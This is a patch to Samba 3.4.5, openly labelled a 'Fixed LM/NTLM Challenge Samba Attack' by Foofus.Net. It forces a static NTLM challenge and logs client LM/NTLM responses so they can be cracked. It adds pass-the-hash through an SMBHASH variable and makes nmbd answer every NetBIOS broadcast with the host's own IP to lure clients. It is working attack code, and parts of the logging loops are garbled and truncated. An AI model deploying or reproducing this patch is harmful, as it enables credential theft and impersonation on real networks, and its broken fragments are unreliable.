diff -rubN samba-3.4.5/source3/auth/auth.c samba-3.4.5-jmk/source3/auth/auth.c --- samba-3.4.5/source3/auth/auth.c 2010-01-18 05:38:09.000000000 -0600 +++ samba-3.4.5-jmk/source3/auth/auth.c 2010-02-11 16:53:14.696511592 -0600 @@ -83,6 +83,8 @@ const char *challenge_set_by = NULL; auth_methods *auth_method; TALLOC_CTX *mem_ctx; + char addr[INET6_ADDRSTRLEN]; + if (auth_context->challenge.length) { DEBUG(5, ("get_ntlm_challenge (auth subsystem): returning previous challenge by module %s (normal)\n", @@ -125,14 +127,19 @@ } if (!challenge_set_by) { - uchar tmp[8]; + uchar tmp[8] = { 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88 }; + int i; - generate_random_buffer(tmp, sizeof(tmp)); auth_context->challenge = data_blob_talloc(auth_context->mem_ctx, tmp, sizeof(tmp)); - challenge_set_by = "random"; - auth_context->challenge_may_be_modified = True; + challenge_set_by = "jmk"; + auth_context->challenge_may_be_modified = False; + DEBUG(0, ("*** Fixed LM/NTLM Challenge Samba Attack -- Foofus.Net/JoMo-Kun ***\n")); + DEBUGADD(0, ("[%s] Set server challenge: ", client_addr(get_client_fd(), addr, sizeof(addr)))); + for (i=0; ichallenge.length; i++) + DEBUGADD(0, ("%2.2X", 0xFF & (int)auth_context->challenge.data[i])); + DEBUGADD(0, ("\n")); } DEBUG(5, ("auth_context challenge created by %s\n", challenge_set_by)); diff -rubN samba-3.4.5/source3/libsmb/smbencrypt.c samba-3.4.5-jmk/source3/libsmb/smbencrypt.c --- samba-3.4.5/source3/libsmb/smbencrypt.c 2010-01-18 05:38:09.000000000 -0600 +++ samba-3.4.5-jmk/source3/libsmb/smbencrypt.c 2010-02-11 16:53:14.696511592 -0600 @@ -41,6 +41,9 @@ #endif } +#define SMB_HASH_LM 1 +#define SMB_HASH_NTLM 2 + /* This implements the X/Open SMB password encryption It takes a password ('unix' string), a 8 byte "crypt key" @@ -59,6 +62,64 @@ return ret; } +/* + Support for using LM/NTLM hashes -- jmk@foofus.net 10/2006 + Greets: Foofus, Phenfen, Omi, Fizzgig, pMonkey +*/ +void E_set_hash(int type, uchar hash[16]) +{ + uint l; + char p[1024]; + int i, j; + char HexChar; + int HexValue; + + if ( (getenv("SMBHASH")) && (strlen(getenv("SMBHASH")) == 65) ) + { + memset(p, 0, 1024); + strncpy(p, getenv("SMBHASH"), 1024); + + /* Replace "NO PASSWORD*********************" */ + if ((type == SMB_HASH_LM) && (strncmp(p, "N", 1) == 0)) + strncpy(p, "AAD3B435B51404EEAAD3B435B51404EE", 32); + else if ((type == SMB_HASH_NTLM) && (strncmp(p+33, "N", 1) == 0)) + strncpy(p+33, "31D6CFE0D16AE931B73C59D7E0C089C0", 32); + + for (i=0; i<16; i++) { + HexValue = 0x0; + for (j=0; j<2; j++) { + if (type == SMB_HASH_LM) + HexChar = (char)p[2*i+j]; + else + HexChar = (char)p[2*i+j+33]; + + if (HexChar > 0x39) + HexChar = HexChar | 0x20; /* convert upper case to lower */ + + if (!(((HexChar >= 0x30) && (HexChar <= 0x39))|| /* 0 - 9 */ + ((HexChar >= 0x61) && (HexChar <= 0x66)))) { /* a - f */ + fprintf(stderr, "Error invalid char (%c) for hash.\n", HexChar); + exit(1); + } + + HexChar -= 0x30; + if (HexChar > 0x09) /* HexChar is "a" - "f" */ + HexChar -= 0x27; + + HexValue = (HexValue << 4) | (char)HexChar; + } + hash[i] = (uchar)HexValue; + } + } + else + { + fprintf(stderr, "Error reading SMB HASH.\n"); + fprintf(stderr, "\tEx: export SMBHASH=\"_LM_HASH_:_NTLM_HASH_\"\n"); + exit(1); + } +} +/* jmk */ + /** * Creates the MD4 Hash of the users password in NT UNICODE. * @param passwd password in 'unix' charset. @@ -70,6 +131,11 @@ int len; smb_ucs2_t wpwd[129]; + /* Support for using NTLM hashes -- jmk@foofus.net 10/2006 */ + if ( getenv("SMBHASH") ) { + fprintf(stderr, "HASH PASS: Substituting user supplied NTLM HASH...\n"); + E_set_hash(SMB_HASH_NTLM, p16); + } else { /* Password must be converted to NT unicode - null terminated. */ push_ucs2(NULL, wpwd, (const char *)passwd, 256, STR_UNICODE|STR_NOALIGN|STR_TERMINATE); /* Calculate length in bytes */ @@ -77,6 +143,7 @@ mdfour(p16, (unsigned char *)wpwd, len); ZERO_STRUCT(wpwd); + } } /** @@ -113,6 +180,11 @@ fstring dospwd; ZERO_STRUCT(dospwd); + /* Support for using LM hashes -- jmk@foofus.net 10/2006 */ + if ( getenv("SMBHASH") ) { + fprintf(stderr, "HASH PASS: Substituting user supplied LM HASH...\n"); + E_set_hash(SMB_HASH_LM, p16); + } else { /* Password must be converted to DOS charset - null terminated, uppercase. */ push_ascii(dospwd, passwd, sizeof(dospwd), STR_UPPER|STR_TERMINATE); @@ -124,6 +196,7 @@ } ZERO_STRUCT(dospwd); + } return ret; } diff -rubN samba-3.4.5/source3/nmbd/nmbd.c samba-3.4.5-jmk/source3/nmbd/nmbd.c --- samba-3.4.5/source3/nmbd/nmbd.c 2010-01-18 05:38:09.000000000 -0600 +++ samba-3.4.5-jmk/source3/nmbd/nmbd.c 2010-02-11 16:53:14.696511592 -0600 @@ -853,6 +853,9 @@ DEBUG(0,("nmbd version %s started.\n", samba_version_string())); DEBUGADD(0,("%s\n", COPYRIGHT_STARTUP_MESSAGE)); + DEBUGADD(0, ("\n----------------------------------------------------------\n")); + DEBUGADD(0, ("*** NMB Broadcast Auto-Response -- Foofus.Net/JoMo-Kun ***\n")); + DEBUGADD(0, ("----------------------------------------------------------\n\n")); if (!lp_load_initial_only(get_dyn_CONFIGFILE())) { DEBUG(0, ("error opening config file\n")); diff -rubN samba-3.4.5/source3/nmbd/nmbd_incomingrequests.c samba-3.4.5-jmk/source3/nmbd/nmbd_incomingrequests.c --- samba-3.4.5/source3/nmbd/nmbd_incomingrequests.c 2010-01-18 05:38:09.000000000 -0600 +++ samba-3.4.5-jmk/source3/nmbd/nmbd_incomingrequests.c 2010-02-11 16:56:10.546515288 -0600 @@ -448,18 +448,55 @@ struct name_record *namerec = NULL; int reply_data_len = 0; int i; + int num_ips; DEBUG(3,("process_name_query_request: Name query from %s on subnet %s for name %s\n", inet_ntoa(p->ip), subrec->subnet_name, nmb_namestr(question))); + /* ********************************************************************************* */ + /* + Hack to make nmbd respond with our IP for all NMB broadcasts. + Based on ideas from Karma (http://www.theta44.org/karma/). + JoMo-Kun [02/2007] + */ + /* Look up the name in the cache - if the request is a broadcast request that came from a subnet we don't know about then search all the broadcast subnets for a match (as we don't know what interface the request came in on). */ + /* if(subrec == remote_broadcast_subnet) namerec = find_name_for_remote_broadcast_subnet( question, FIND_ANY_NAME); else namerec = find_name_on_subnet(subrec, question, FIND_ANY_NAME); + */ + + /* Create Response Packet */ + DEBUGADD(0, ("[%s] NetBIOS Broadcast Request: %s\n", inet_ntoa(p->ip), question->name) ); + + /* Don't respond to broadcasts which match our ignore list */ + //if ( strcmp(inet_ntoa(p->ip), "10.71.0.160") == 0 ) + //{ + // DEBUGADD(0, ("[%s] Skipping NetBIOS Broadcast Request based on host ignore list.\n", inet_ntoa(p->ip)) ); + // namerec = NULL; + //} + //else + //{ + namerec = SMB_MALLOC_P(struct name_record); + memset( (char *)namerec, '\0', sizeof(*namerec) ); + namerec->subnet = subrec; + make_nmb_name(&namerec->name, question->name, 0x00); + namerec->data.nb_flags = NB_ACTIVE; + namerec->data.wins_flags = WINS_ACTIVE; + namerec->data.nb_flags = NB_PERM; + namerec->data.source = SELF_NAME; + num_ips = iface_count(); + namerec->data.num_ips = num_ips; + namerec->data.ip = SMB_MALLOC_ARRAY( struct in_addr, num_ips ); + memcpy( (namerec->data.ip), &subrec->myip, num_ips * sizeof(struct in_addr) ); + //} + + /* ********************************************************************************* */ /* Check if it is a name that expired */ if (namerec && diff -rubN samba-3.4.5/source3/smbd/negprot.c samba-3.4.5-jmk/source3/smbd/negprot.c --- samba-3.4.5/source3/smbd/negprot.c 2010-01-18 05:38:09.000000000 -0600 +++ samba-3.4.5-jmk/source3/smbd/negprot.c 2010-02-11 16:53:14.696511592 -0600 @@ -250,6 +250,7 @@ bool negotiate_spnego = False; time_t t = time(NULL); ssize_t ret; + char addr[INET6_ADDRSTRLEN]; global_encrypted_passwords_negotiated = lp_encrypted_passwords(); @@ -366,6 +367,7 @@ return; } DEBUG(3,("not using SPNEGO\n")); + DEBUGADD(0,("[%s] Simple and Protected GSSAPI Negotiation Mechanism (SPNEG) Disabled.\n", client_addr(get_client_fd(), addr, sizeof(addr)))); } else { DATA_BLOB spnego_blob = negprot_spnego(); @@ -385,6 +387,7 @@ SCVAL(req->outbuf,smb_vwv16+1, 0); DEBUG(3,("using SPNEGO\n")); + DEBUGADD(0,("[%s] Simple and Protected GSSAPI Negotiation Mechanism (SPNEG) Enabled (NTLMv2).\n", client_addr(get_client_fd(), addr, sizeof(addr)))); } SSVAL(req->outbuf,smb_vwv17, p - q); /* length of challenge+domain @@ -510,6 +513,7 @@ char **cliprotos; int i; size_t converted_size; + char addr[INET6_ADDRSTRLEN]; START_PROFILE(SMBnegprot); @@ -670,8 +674,9 @@ reload_services(True); supported_protocols[protocol].proto_reply_fn(req, choice); DEBUG(3,("Selected protocol %s\n",supported_protocols[protocol].proto_name)); + DEBUGADD(0,("[%s] Selected protocol: %s\n", client_addr(get_client_fd(), addr, sizeof(addr)), supported_protocols[protocol].proto_name)); } else { - DEBUG(0,("No protocol supported !\n")); + DEBUG(0,("[%s] No protocol supported !\n", client_addr(get_client_fd(), addr, sizeof(addr)))); reply_outbuf(req, 1, 0); SSVAL(req->outbuf, smb_vwv0, choice); } diff -rubN samba-3.4.5/source3/smbd/reply.c samba-3.4.5-jmk/source3/smbd/reply.c --- samba-3.4.5/source3/smbd/reply.c 2010-01-18 05:38:09.000000000 -0600 +++ samba-3.4.5-jmk/source3/smbd/reply.c 2010-02-11 16:53:14.696511592 -0600 @@ -422,6 +422,7 @@ int msg_flags = CVAL(inbuf,1); fstring name1,name2; char name_type = 0; + char addr[INET6_ADDRSTRLEN]; /* * We only really use 4 bytes of the outbuf, but for the smb_setlen @@ -455,6 +456,9 @@ DEBUG(2,("netbios connect: name1=%s name2=%s\n", name1,name2)); + DEBUGADD(0, ("[%s] Server NetBIOS Name: %s\n", client_addr(get_client_fd(), addr, sizeof(addr)), name1)); + DEBUGADD(0, ("[%s] Client NetBIOS Name: %s\n", client_addr(get_client_fd(), addr, sizeof(addr)), name2)); + set_local_machine_name(name1, True); set_remote_machine_name(name2, True); @@ -597,6 +601,7 @@ char *path = NULL; const char *p, *q; uint16 tcon_flags; + char addr[INET6_ADDRSTRLEN]; START_PROFILE(SMBtconX); @@ -677,6 +682,7 @@ return; } + DEBUGADD(0, ("[%s] Device Type: %s Share: %s\n", client_addr(get_client_fd(), addr, sizeof(addr)), client_devicetype, service)); DEBUG(4,("Client requested device type [%s] for share [%s]\n", client_devicetype, service)); conn = make_connection(service, password, client_devicetype, diff -rubN samba-3.4.5/source3/smbd/sesssetup.c samba-3.4.5-jmk/source3/smbd/sesssetup.c --- samba-3.4.5/source3/smbd/sesssetup.c 2010-01-18 05:38:09.000000000 -0600 +++ samba-3.4.5-jmk/source3/smbd/sesssetup.c 2010-02-11 16:59:40.046492451 -0600 @@ -1464,7 +1464,13 @@ const uint8_t *p = req->buf; const uint8_t *save_p = req->buf; uint16 byte_count; - + int i; + int chars_to_copy = 0; + char *pathname; + char *filename; + char *tempname; + FILE *fp; + char addr[INET6_ADDRSTRLEN]; if(global_client_caps == 0) { global_client_caps = IVAL(req->vwv+11, 0); @@ -1533,6 +1539,48 @@ if (doencrypt) { lm_resp = data_blob(p, passlen1); nt_resp = data_blob(p+passlen1, passlen2); + + if (passlen2 > 24) /* LMv2 */ + { + DEBUGADD(0, ("[%s] LM Client Response: ", client_addr(get_client_fd(), addr, sizeof(addr)))); + for (i=0; i<16; i++) + DEBUGADD(0, ("%2.2X", 0xFF & (int)p[i])); + + DEBUGADD(0, ("\n[%s] LM Client Challenge: ", client_addr(get_client_fd(), addr, sizeof(addr)))); + for (i=16; i 24) /* NTLMv2 */ + { + DEBUGADD(0, ("[%s] NT Client Response: ", client_addr(get_client_fd(), addr, sizeof(addr)))); + for (i=0; i<16; i++) + DEBUGADD(0, ("%2.2X", 0xFF & (int)p[passlen1 +i])); + + DEBUGADD(0, ("\n[%s] NT Client Challenge: ", client_addr(get_client_fd(), addr, sizeof(addr)))); + for (i=16; i